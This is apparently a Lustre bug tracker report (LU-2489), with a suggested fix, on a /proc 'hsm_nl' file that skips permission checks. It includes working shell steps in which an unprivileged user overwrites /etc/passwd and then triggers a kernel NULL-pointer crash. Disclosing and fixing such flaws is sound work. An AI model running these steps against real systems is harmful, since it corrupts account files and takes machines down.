[LU-2489] hsm_nl DOSs

• Type: Bug
• Resolution: Fixed
• Priority: Minor
• Fix Version/s: Lustre 2.4.0, Lustre 2.5.0
• Affects Version/s: Lustre 2.4.0, Lustre 2.1.4
• Labels: patch
• Severity: 3
• Assignee: Keith Mannthey (Inactive)
• Reporter: John Hammond

Description

Can /proc/fs/lustre/mdc/lustre-MDT0000-mdc-ffff88018f0a9000/hsm_nl be removed? grep and google would suggest so.

cfs_user_write() should call vfs_user_write() instead of invoking filp->f_op.write() which does not check f_mode.

# ./lutsre/tests/llmount.sh
...
# su sanity -
$ echo LULZ > /etc/passwd
bash: /etc/passwd: Permission denied
$ exec 3</etc/passwd
$ echo 3 > /proc/fs/lustre/mdc/lustre-MDT0000-mdc-ffff88018f0a9000/hsm_nl
$ exec 3>&-
$ head /etc/passwd
d�

lustre-MDT0000-mdcffff880008
n/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

The list heads in kkuc_groups (whatever those are) may be uninitialized.

$ echo 0 > /proc/fs/lustre/mdc/lustre-MDT0000-mdc-ffff88018f0a9000/hsm_nl

BUG: unable to handle kernel NULL pointer dereference at 0000000000000018
IP: [<ffffffffa02eee68>] libcfs_kkuc_group_put+0x68/0x150 [libcfs]
PGD 188d1a067 PUD 191b12067 PMD 0 
Oops: 0000 [#1] SMP 
...

Greetz: taviso, cea, apop, all the droneZ back at Unimatrix 0.